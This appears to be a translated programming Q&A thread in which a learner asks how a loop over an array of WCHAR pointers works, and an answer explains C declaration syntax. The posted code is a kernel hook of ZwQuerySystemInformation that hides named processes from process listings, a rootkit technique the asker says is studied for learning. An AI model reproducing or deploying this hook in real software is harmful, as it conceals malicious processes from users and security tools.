【问题标题】:Looping through an Array Pointer?循环遍历数组指针?
【发布时间】:2013-05-20 17:33:16
【问题描述】:

我对 C++ 不是很有经验,我正在阅读一些代码,想知道这有什么意义......

WCHAR *Process[128];
   for(i=0; i<Process; i++)

我看到一个指向 wchar 数组的指针,你如何循环遍历它?会不会遍历整个数组?

这是完整的代码:

WCHAR *ProcessToHide[128];
ULONG NbProcessToHide=0;

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformationAddress = NULL;   

LONGLONG UserTime=0, KernelTime=0;

NTSTATUS ZwQuerySystemInformationHook(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS status;
   PSYSTEM_PROCESS_INFORMATION curr;
   PSYSTEM_PROCESS_INFORMATION prev;
   ULONG i;

   status = ((ZWQUERYSYSTEMINFORMATION)(ZwQuerySystemInformationAddress)) (
                    SystemInformationClass,
                    SystemInformation,
                    SystemInformationLength,
                    ReturnLength );

   if( !NT_SUCCESS(status) ) 
      return status;

   if(SystemInformationClass!=5) // not a process request
      return status;       

for(i=0; i<NbProcessToHide; i++) {

      curr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
      prev = NULL;

      while(curr) {
         //DbgPrint("Current item is %x\n", curr);
         if (curr->ProcessName.Buffer != NULL) {   

            if( curr->ProcessName.Length == wcslen(ProcessToHide[i])*2 &&
                !memcmp(curr->ProcessName.Buffer,ProcessToHide[i], curr->ProcessName.Length)) 
            {                                                                       

               if(!prev) {
                  // we are first process     
                  if(curr->NextEntryDelta) // if there is a process after it
                     // first process becomes this one
                     (PBYTE)SystemInformation += curr->NextEntryDelta;
                  else 
                     // no process ! >_>
                     SystemInformation = NULL;
               }
               else {
                  // there was a process before
                  if(curr->NextEntryDelta) // if there is a process after
                     // previous process leads to next 
                     prev->NextEntryDelta += curr->NextEntryDelta;
                  else  
                     // previous process is the last one =)
                     prev->NextEntryDelta = 0;    
               }    
            } 
            else
               // not a process to hide, prev ptr go to this process
               prev = curr;  
         }

         // curr go to next process
         if(curr->NextEntryDelta) 
            ((PBYTE)curr += curr->NextEntryDelta);
         else 
             curr = NULL;
      }
   }

【问题讨论】:

  • 也发布循环体。只是那一行没有意义。
  • if( curr->ProcessName.Length == wcslen(ProcessToHide[i])*2 && !memcmp(curr->ProcessName.Buffer,ProcessToHide[i], curr->ProcessName.Length) ) {
  • 两行代码的缩进级别不一样看起来很可疑。您确定该变量没有被同名的不同变量遮蔽吗?
  • processtohide 也是数组进程,我改名是因为我不希望它看起来像任何恶意,但它是我查找的用于学习目的的进程隐藏源代码。我可以贴出整个代码,但是这个评论框放不下。
  • 完整代码没有您最初发布的for 测试条件。循环测试条件有 ULONG 而不是 WCHAR *

标签: c++ c arrays pointers wchar


【解决方案1】:

WCHAR *Process[128]; 不是指向WCHAR 数组的指针,而是WCHAR 指针数组(可能是字符串)。

您可能想阅读Reading C Declarations

示例 2:char *argv[];

第 1 步,写“将 argv 声明为”。第二步,向右排列。第三步,写“数组”。第四步,指针向左。第五步,写“指针”。第六步,完成申报。第七步,写“char”。停下来。

声明是:“将 argv 声明为指向 char 的指针数组”。请注意,它不是指向 char 数组的指针。数组描述符优先于指针描述符,优先读取。

iNbProcessToHide 可以比较,因为它们都是ULONG

【讨论】:

  • 啊,这是有道理的,所以它就像每个元素只是一个字符串,与 array[] = {"str1","str2"} 等一样。我仍然不知所措为什么以及如何将 ULONG i 与它进行比较。
  • @stoney 刚刚添加了一些关于此的内容。 NbProcessToHide 与索引i 进行比较,这也是一个ULONG
猜你喜欢
  • 1970-01-01
  • 2014-06-04
  • 1970-01-01
  • 2019-07-10
  • 1970-01-01
  • 1970-01-01
  • 2021-07-28
相关资源
最近更新 更多